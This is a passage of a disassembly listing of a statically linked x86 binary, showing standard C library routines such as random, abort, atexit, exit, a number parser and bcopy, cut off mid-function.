; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055DD0:				; CODE XREF: sub_8055D38+83j
		add	ebx, 4
		mov	dword_8078958, ebx
		cmp	dword_807895C, 0
		jz	short loc_8055E11
		lea	eax, ds:0[esi*4]
		add	eax, ebx
		mov	dword_8078954, eax
		mov	eax, esi
		add	eax, dword_8078964
		cdq
		idiv	dword_8078960
		lea	eax, ds:0[edx*4]
		add	eax, dword_8078958
		mov	dword_8078950, eax

loc_8055E11:				; CODE XREF: sub_8055D38+A8j
		mov	edi, dword_8078960
		lea	eax, ds:0[edi*4]
		add	eax, dword_8078958
		mov	dword_8078968, eax
		mov	eax, [ebp+var_4]

loc_8055E2C:				; CODE XREF: sub_8055D38+94j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8055D38	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

__random	proc near		; CODE XREF: sub_8049174+163p
					; sub_8049174+1C4p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_807895C, 0
		jnz	short loc_8055E68
		mov	eax, dword_8078958
		imul	edx, [eax], 41C64E6Dh
		add	edx, 3039h
		and	edx, 7FFFFFFFh
		mov	[eax], edx
		mov	eax, dword_8078958
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055E68:				; CODE XREF: __random+Aj
		mov	edx, dword_8078950
		mov	eax, dword_8078954
		mov	eax, [eax]
		add	[edx], eax
		mov	eax, dword_8078950
		mov	edx, [eax]
		shr	edx, 1
		add	dword_8078950, 4
		mov	eax, dword_8078950
		cmp	dword_8078968, eax
		ja	short loc_8055EA8
		mov	eax, dword_8078958
		mov	dword_8078950, eax
		add	dword_8078954, 4
		jmp	short loc_8055EC6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055EA8:				; CODE XREF: __random+5Bj
		add	dword_8078954, 4
		mov	eax, dword_8078954
		cmp	dword_8078968, eax
		ja	short loc_8055EC6
		mov	eax, dword_8078958
		mov	dword_8078954, eax

loc_8055EC6:				; CODE XREF: __random+6Ej __random+82j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
__random	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

abort		proc near		; CODE XREF: getanswer+5D8p
					; sub_8058094+573p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], 20h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1		; SIG_UNBLOCK
		call	sigprocmask
		add	esp, 0Ch
		call	sub_8062188
		lea	esi, [esi]

loc_8055EF0:				; CODE XREF: abort+30j
		push	6		; SIGABRT
		call	raise
		add	esp, 4
		test	eax, eax
		jz	short loc_8055EF0
		push	7Fh
		call	_exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]
abort		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

atexit		proc near		; CODE XREF: start+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		call	__new_exitfn
		test	eax, eax
		jz	short loc_8055F28
		mov	dword ptr [eax], 2
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	short loc_8055F2D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055F28:				; CODE XREF: atexit+Ej
		mov	eax, 0FFFFFFFFh

loc_8055F2D:				; CODE XREF: atexit+1Bj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
atexit		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

__new_exitfn	proc near		; CODE XREF: atexit+7p
		push	ebp
		mov	ebp, esp
		mov	ecx, dword_8078AF4
		test	ecx, ecx
		jz	short loc_8055F6C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8055F44:				; CODE XREF: __new_exitfn+36j
		xor	edx, edx
		cmp	[ecx+4], edx
		jbe	short loc_8055F60
		xor	eax, eax
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8055F50:				; CODE XREF: __new_exitfn+2Aj
		cmp	dword ptr [eax+ecx+8], 0
		jz	short loc_8055F98
		add	eax, 0Ch
		inc	edx
		cmp	[ecx+4], edx
		jnz	short loc_8055F50

loc_8055F60:				; CODE XREF: __new_exitfn+15j
		cmp	dword ptr [ecx+4], 1Fh
		jbe	short loc_8055FA0
		mov	ecx, [ecx]
		test	ecx, ecx
		jnz	short loc_8055F44

loc_8055F6C:				; CODE XREF: __new_exitfn+Bj
		push	188h
		call	malloc
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_8055FB4
		mov	eax, dword_8078AF4
		mov	[ecx], eax
		mov	dword_8078AF4, ecx
		mov	dword ptr [ecx+4], 1
		lea	eax, [ecx+8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055F98:				; CODE XREF: __new_exitfn+21j
		lea	eax, [ecx+eax+8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055FA0:				; CODE XREF: __new_exitfn+30j
		mov	eax, [ecx+4]
		lea	eax, [eax+eax*2]
		lea	eax, [ecx+eax*4+8]
		inc	dword ptr [ecx+4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055FB4:				; CODE XREF: __new_exitfn+46j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
__new_exitfn	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

exit		proc near		; CODE XREF: start+5Cp	main+52p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, dword_8078AF4
		test	edi, edi
		jz	short loc_805601D

loc_8055FCC:				; CODE XREF: exit+5Fj
		mov	ebx, [edi+4]
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jz	short loc_8056017
		lea	eax, [ebx+ebx*2]
		lea	esi, ds:8[eax*4]

loc_8055FE0:				; CODE XREF: exit+59j
		lea	edx, [esi+edi]
		mov	eax, [edx]
		cmp	eax, 1
		jz	short loc_8055FF4
		jb	short loc_805600D
		cmp	eax, 2
		jz	short loc_8056008
		jmp	short loc_805600D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055FF4:				; CODE XREF: exit+2Cj
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	eax, [edx+4]
		call	eax
		add	esp, 8
		jmp	short loc_805600D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056008:				; CODE XREF: exit+33j
		mov	eax, [edx+4]
		call	eax

loc_805600D:				; CODE XREF: exit+2Ej exit+35j ...
		mov	eax, ebx
		add	esi, 0FFFFFFF4h
		dec	ebx
		test	eax, eax
		jnz	short loc_8055FE0

loc_8056017:				; CODE XREF: exit+18j
		mov	edi, [edi]
		test	edi, edi
		jnz	short loc_8055FCC

loc_805601D:				; CODE XREF: exit+Ej
		call	sub_8062188
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	_exit
		nop
exit		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805602C	proc near		; CODE XREF: vfprintf+6Cp vfprintf+95p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_805603E
		cmp	byte ptr [eax],	0
		jnz	short loc_8056044

loc_805603E:				; CODE XREF: sub_805602C+Bj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056044:				; CODE XREF: sub_805602C+10j
		test	edx, edx
		jz	short loc_805604D
		movzx	eax, byte ptr [eax]
		mov	[edx], eax

loc_805604D:				; CODE XREF: sub_805602C+1Aj
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_805602C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

random		proc near		; CODE XREF: main+28Bp	main+30Cp ...
		push	ebp
		mov	ebp, esp
		call	__random
		mov	esp, ebp
		pop	ebp
		retn
random		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056064	proc near		; CODE XREF: res_setoptions+59p
					; sub_8056434+11p

var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_C]
		test	ebx, ebx
		jz	short loc_80560C5
		mov	eax, dword_8078890
		mov	eax, [eax+14h]
		mov	[ebp+var_1C], eax
		cmp	byte ptr [eax],	0
		jz	short loc_80560C5
		cmp	byte ptr [eax],	0FFh
		jz	short loc_80560C5
		mov	eax, dword_8078890
		mov	edx, [eax+10h]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	edx
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_805602C
		test	eax, eax
		jg	short loc_80560BF
		mov	eax, dword_8078890
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_4], eax

loc_80560BF:				; CODE XREF: sub_8056064+4Bj
		cmp	[ebp+var_4], 0
		jnz	short loc_80560CC

loc_80560C5:				; CODE XREF: sub_8056064+Ej
					; sub_8056064+1Ej ...
		mov	[ebp+var_1C], 0

loc_80560CC:				; CODE XREF: sub_8056064+5Fj
		cmp	[ebp+arg_8], 0
		jl	short loc_80560DE
		cmp	[ebp+arg_8], 1
		jz	short loc_80560DE
		cmp	[ebp+arg_8], 24h
		jle	short loc_80560E5

loc_80560DE:				; CODE XREF: sub_8056064+6Cj
					; sub_8056064+72j
		mov	[ebp+arg_8], 0Ah

loc_80560E5:				; CODE XREF: sub_8056064+78j
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_14], esi
		movzx	eax, byte ptr [esi]
		mov	ecx, dword_8078FA0
		test	byte ptr [ecx+eax*2+1],	20h
		jz	short loc_8056107
		nop

loc_80560FC:				; CODE XREF: sub_8056064+A1j
		inc	esi
		movzx	eax, byte ptr [esi]
		test	byte ptr [ecx+eax*2+1],	20h
		jnz	short loc_80560FC

loc_8056107:				; CODE XREF: sub_8056064+95j
		cmp	byte ptr [esi],	0
		jz	loc_80563EC
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_8056120
		mov	[ebp+var_8], 1
		inc	esi
		jmp	short loc_8056137
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8056120:				; CODE XREF: sub_8056064+AFj
		cmp	byte ptr [esi],	2Bh
		jnz	short loc_8056130
		mov	[ebp+var_8], 0
		inc	esi
		jmp	short loc_8056137
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8056130:				; CODE XREF: sub_8056064+BFj
		mov	[ebp+var_8], 0

loc_8056137:				; CODE XREF: sub_8056064+B9j
					; sub_8056064+C9j
		cmp	[ebp+arg_8], 10h
		jnz	short loc_8056154
		cmp	byte ptr [esi],	30h
		jnz	short loc_8056154
		movzx	edx, byte ptr [esi+1]
		mov	eax, dword_8078FA8
		cmp	dword ptr [eax+edx*4], 58h
		jnz	short loc_8056154
		add	esi, 2

loc_8056154:				; CODE XREF: sub_8056064+D7j
					; sub_8056064+DCj ...
		cmp	[ebp+arg_8], 0
		jnz	short loc_805618F
		cmp	byte ptr [esi],	30h
		jnz	short loc_8056188
		movzx	edx, byte ptr [esi+1]
		mov	eax, dword_8078FA8
		cmp	dword ptr [eax+edx*4], 58h
		jnz	short loc_805617C
		add	esi, 2
		mov	[ebp+arg_8], 10h
		jmp	short loc_805618F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805617C:				; CODE XREF: sub_8056064+108j
		mov	[ebp+arg_8], 8
		jmp	short loc_805618F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056188:				; CODE XREF: sub_8056064+F9j
		mov	[ebp+arg_8], 0Ah

loc_805618F:				; CODE XREF: sub_8056064+F4j
					; sub_8056064+114j ...
		mov	[ebp+var_14], esi
		test	ebx, ebx
		jz	loc_80562F4
		mov	ebx, [ebp+var_14]
		mov	dl, [ebx]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jz	short loc_80561E7
		mov	ecx, dword_8078FA0
		mov	edi, dword_8078FA8
		mov	[ebp+var_34], edi
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80561B8:				; CODE XREF: sub_8056064+181j
		movzx	eax, [ebp+var_2C]
		cmp	[ebp+var_4], eax
		jz	short loc_80561DD
		test	byte ptr [ecx+eax*2+1],	8
		jnz	short loc_80561DD
		test	byte ptr [ecx+eax*2+1],	4
		jz	short loc_80561E7
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*4]
		add	eax, 0FFFFFFC9h
		cmp	[ebp+arg_8], eax
		jle	short loc_80561E7

loc_80561DD:				; CODE XREF: sub_8056064+15Bj
					; sub_8056064+162j
		inc	ebx
		mov	dl, [ebx]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jnz	short loc_80561B8

loc_80561E7:				; CODE XREF: sub_8056064+140j
					; sub_8056064+169j ...
		movzx	eax, byte ptr [esi]
		cmp	[ebp+var_4], eax
		jnz	short loc_80561F8
		mov	ebx, esi
		jmp	loc_80562F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80561F8:				; CODE XREF: sub_8056064+189j
		mov	[ebp+var_20], ebx
		mov	edi, [ebp+var_4]
		mov	[ebp+var_24], edi
		cmp	[ebp+var_1C], 0
		jz	loc_80562F6
		cmp	ebx, esi
		jbe	loc_80562DC
		nop

loc_8056214:				; CODE XREF: sub_8056064+272j
		mov	ecx, [ebp+var_20]
		dec	ecx
		mov	ebx, [ebp+var_1C]
		cmp	ecx, esi
		jb	short loc_805622D
		nop

loc_8056220:				; CODE XREF: sub_8056064+1C7j
		movzx	eax, byte ptr [ecx]
		cmp	[ebp+var_24], eax
		jz	short loc_805622D
		dec	ecx
		cmp	ecx, esi
		jnb	short loc_8056220

loc_805622D:				; CODE XREF: sub_8056064+1B9j
					; sub_8056064+1C2j
		mov	edx, [ebp+var_20]
		sub	edx, ecx
		movzx	eax, byte ptr [ebx]
		inc	eax
		cmp	edx, eax
		jnz	short loc_80562B4
		cmp	ecx, esi
		jb	loc_80562EC
		lea	edx, [ecx-1]
		mov	[ebp+var_28], edx

loc_8056248:				; CODE XREF: sub_8056064+20Bj
					; sub_8056064+243j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_805624F
		dec	ebx

loc_805624F:				; CODE XREF: sub_8056064+1E8j
		dec	ecx
		cmp	byte ptr [ebx],	0FFh
		jnz	short loc_8056274
		cmp	ecx, esi
		jb	loc_80562EC
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8056260:				; CODE XREF: sub_8056064+207j
		movzx	eax, byte ptr [ecx]
		cmp	[ebp+var_24], eax
		jz	short loc_805626D
		dec	ecx
		cmp	ecx, esi
		jnb	short loc_8056260

loc_805626D:				; CODE XREF: sub_8056064+202j
		cmp	ecx, esi
		jnb	short loc_8056248
		jmp	short loc_80562EC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8056274:				; CODE XREF: sub_8056064+1EFj
		mov	[ebp+var_34], ecx
		cmp	ecx, esi
		jb	short loc_805628D
		nop

loc_805627C:				; CODE XREF: sub_8056064+223j
		movzx	eax, byte ptr [ecx]
		cmp	[ebp+var_24], eax
		jz	short loc_8056289
		dec	ecx
		cmp	ecx, esi
		jnb	short loc_805627C

loc_8056289:				; CODE XREF: sub_8056064+21Ej
		cmp	ecx, esi
		jnb	short loc_805629D

loc_805628D:				; CODE XREF: sub_8056064+215j
		mov	edx, [ebp+var_34]
		sub	edx, ecx
		movzx	eax, byte ptr [ebx]
		cmp	edx, eax
		jle	short loc_80562EC
		cmp	ecx, esi
		jb	short loc_80562A9

loc_805629D:				; CODE XREF: sub_8056064+227j
		mov	edx, [ebp+var_34]
		sub	edx, ecx
		movzx	eax, byte ptr [ebx]
		cmp	edx, eax
		jz	short loc_8056248

loc_80562A9:				; CODE XREF: sub_8056064+237j
		mov	edi, [ebp+var_28]
		mov	[ebp+var_20], edi
		jmp	short loc_80562D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80562B4:				; CODE XREF: sub_8056064+1D4j
		mov	edx, [ebp+var_20]
		sub	edx, ecx
		movzx	ebx, byte ptr [ebx]
		lea	eax, [ebx+1]
		cmp	edx, eax
		jle	short loc_80562CC
		lea	ebx, [ebx+ecx+1]
		mov	[ebp+var_20], ebx
		jmp	short loc_80562D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80562CC:				; CODE XREF: sub_8056064+25Dj
		cmp	ecx, esi
		jb	short loc_80562EC
		mov	[ebp+var_20], ecx

loc_80562D3:				; CODE XREF: sub_8056064+24Bj
					; sub_8056064+266j
		cmp	[ebp+var_20], esi
		ja	loc_8056214

loc_80562DC:				; CODE XREF: sub_8056064+1A9j
		mov	eax, esi
		cmp	[ebp+var_20], esi
		jbe	short loc_80562E6
		mov	eax, [ebp+var_20]

loc_80562E6:				; CODE XREF: sub_8056064+27Dj
		mov	ebx, eax
		jmp	short loc_80562F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80562EC:				; CODE XREF: sub_8056064+1D8j
					; sub_8056064+1F3j ...
		mov	ebx, [ebp+var_20]
		jmp	short loc_80562F6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80562F4:				; CODE XREF: sub_8056064+130j
		xor	ebx, ebx

loc_80562F6:				; CODE XREF: sub_8056064+18Dj
					; sub_8056064+1A1j ...
		mov	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], 0
		xor	ecx, ecx
		mov	dl, [esi]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jz	short loc_805638C
		mov	edi, dword_8078FA0
		mov	[ebp+var_34], edi
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8056324:				; CODE XREF: sub_8056064+326j
		cmp	esi, ebx
		jz	short loc_805638C
		movzx	eax, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_805633C
		add	[ebp+var_2C], 0D0h
		jmp	short loc_805635A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805633C:				; CODE XREF: sub_8056064+2D0j
		movzx	edi, [ebp+var_2C]
		mov	[ebp+var_30], edi
		mov	edx, [ebp+var_34]
		test	byte ptr [edx+edi*2+1],	4
		jz	short loc_805638C
		mov	eax, dword_8078FA8
		mov	al, [eax+edi*4]
		add	al, 0C9h
		mov	[ebp+var_2C], al

loc_805635A:				; CODE XREF: sub_8056064+2D6j
		movzx	eax, [ebp+var_2C]
		cmp	[ebp+arg_8], eax
		jle	short loc_805638C
		cmp	[ebp+var_C], ecx
		jb	short loc_805636F
		jnz	short loc_8056378
		cmp	[ebp+var_10], eax
		jnb	short loc_8056378

loc_805636F:				; CODE XREF: sub_8056064+302j
		mov	[ebp+var_18], 1
		jmp	short loc_8056382
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056378:				; CODE XREF: sub_8056064+304j
					; sub_8056064+309j
		imul	ecx, [ebp+arg_8]
		movzx	eax, [ebp+var_2C]
		add	ecx, eax

loc_8056382:				; CODE XREF: sub_8056064+312j
		inc	esi
		mov	dl, [esi]
		mov	[ebp+var_2C], dl
		test	dl, dl
		jnz	short loc_8056324

loc_805638C:				; CODE XREF: sub_8056064+2B2j
					; sub_8056064+2C2j ...
		cmp	[ebp+var_14], esi
		jz	short loc_80563EC
		cmp	[ebp+arg_4], 0
		jz	short loc_805639C
		mov	edi, [ebp+arg_4]
		mov	[edi], esi

loc_805639C:				; CODE XREF: sub_8056064+331j
		cmp	[ebp+var_8], 0
		jz	short loc_80563AC
		cmp	ecx, 80000000h
		ja	short loc_80563B4
		jmp	short loc_80563BB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80563AC:				; CODE XREF: sub_8056064+33Cj
		cmp	ecx, 7FFFFFFFh
		jbe	short loc_80563BB

loc_80563B4:				; CODE XREF: sub_8056064+344j
		mov	[ebp+var_18], 1

loc_80563BB:				; CODE XREF: sub_8056064+346j
					; sub_8056064+34Ej
		cmp	[ebp+var_18], 0
		jz	short loc_80563E0
		mov	__errno, 22h
		mov	eax, 7FFFFFFFh
		cmp	[ebp+var_8], 0
		jz	short loc_805642A
		mov	eax, 80000000h
		jmp	short loc_805642A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80563E0:				; CODE XREF: sub_8056064+35Bj
		mov	eax, ecx
		cmp	[ebp+var_8], 0
		jz	short loc_805642A
		neg	eax
		jmp	short loc_805642A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80563EC:				; CODE XREF: sub_8056064+A6j
					; sub_8056064+32Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_8056428
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+arg_0]
		cmp	eax, 1
		jle	short loc_8056420
		mov	edx, [ebp+var_14]
		movzx	edx, byte ptr [edx-1]
		mov	eax, dword_8078FA4
		cmp	dword ptr [eax+edx*4], 78h
		jnz	short loc_8056420
		mov	edi, [ebp+var_14]
		cmp	byte ptr [edi-2], 30h
		jnz	short loc_8056420
		dec	edi
		mov	edx, [ebp+arg_4]
		mov	[edx], edi
		jmp	short loc_8056428
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056420:				; CODE XREF: sub_8056064+397j
					; sub_8056064+3A9j ...
		mov	edx, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	[edi], edx

loc_8056428:				; CODE XREF: sub_8056064+38Cj
					; sub_8056064+3BAj
		xor	eax, eax

loc_805642A:				; CODE XREF: sub_8056064+370j
					; sub_8056064+377j ...
		lea	esp, [ebp+var_40]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8056064	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056434	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		push	0
		push	eax
		push	edx
		push	ecx
		call	sub_8056064
		mov	esp, ebp
		pop	ebp
		retn
sub_8056434	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056450	proc near		; CODE XREF: gethostbyaddr+1CFp
					; sub_804CB94+33p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jle	short loc_8056474
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ecx, edx
		cld
		repe cmpsb
		jz	short loc_805646F
		sbb	eax, eax
		or	al, 1

loc_805646F:				; CODE XREF: sub_8056450+19j
		mov	edx, eax
		jmp	short loc_8056476
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8056474:				; CODE XREF: sub_8056450+Aj
		xor	eax, eax

loc_8056476:				; CODE XREF: sub_8056450+21j
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8056450	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

bcopy		proc near		; CODE XREF: sub_8049174+123p
					; sub_8049564+177p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	edx, [ebp+arg_8]
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		test	edx, edx
		jle	loc_8056523
		mov	eax, edi
		sub	eax, esi
		cmp	eax, edx
		jb	short loc_80564D8
		cmp	edx, 7
		jle	short loc_80564CF
		mov	eax, edi
		neg	eax
		and	eax, 3
		sub	edx, eax
		mov	ecx, eax
		cld
		repe movsb
		mov	eax, edx
		test	edx, edx
		jge	short loc_80564BA
		lea	eax, [edx+3]

loc_80564BA:				; CODE XREF: bcopy+35j
		sar	eax, 2
		mov	ecx, eax
		cld
		repe movsd
		mov	eax, edx
		test	edx, edx
		jge	short loc_80564CB
		lea	eax, [edx+3]

loc_80564CB:				; CODE XREF: bcopy+46j
		and	al, 0FCh
		sub	edx, eax

loc_80564CF:				; CODE XREF: bcopy+21j
		mov	ecx, edx
		cld
		repe movsb
		jmp	short loc_8056523
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80564D8:				; CODE XREF: bcopy+1Cj
		add	esi, edx
		add	edi, edx
		cmp	edx, 7
		jle	short loc_805651B
		mov	eax, edi
		and	eax, 3
		sub	edx, eax
		dec	edi
		dec	esi
		mov	ecx, eax
		std
		repe movsb
		cld
		add	edi, 0FFFFFFFDh
		add	esi, 0FFFFFFFDh
		mov	eax, edx
		test	edx, edx
		jge	short loc_80564FF
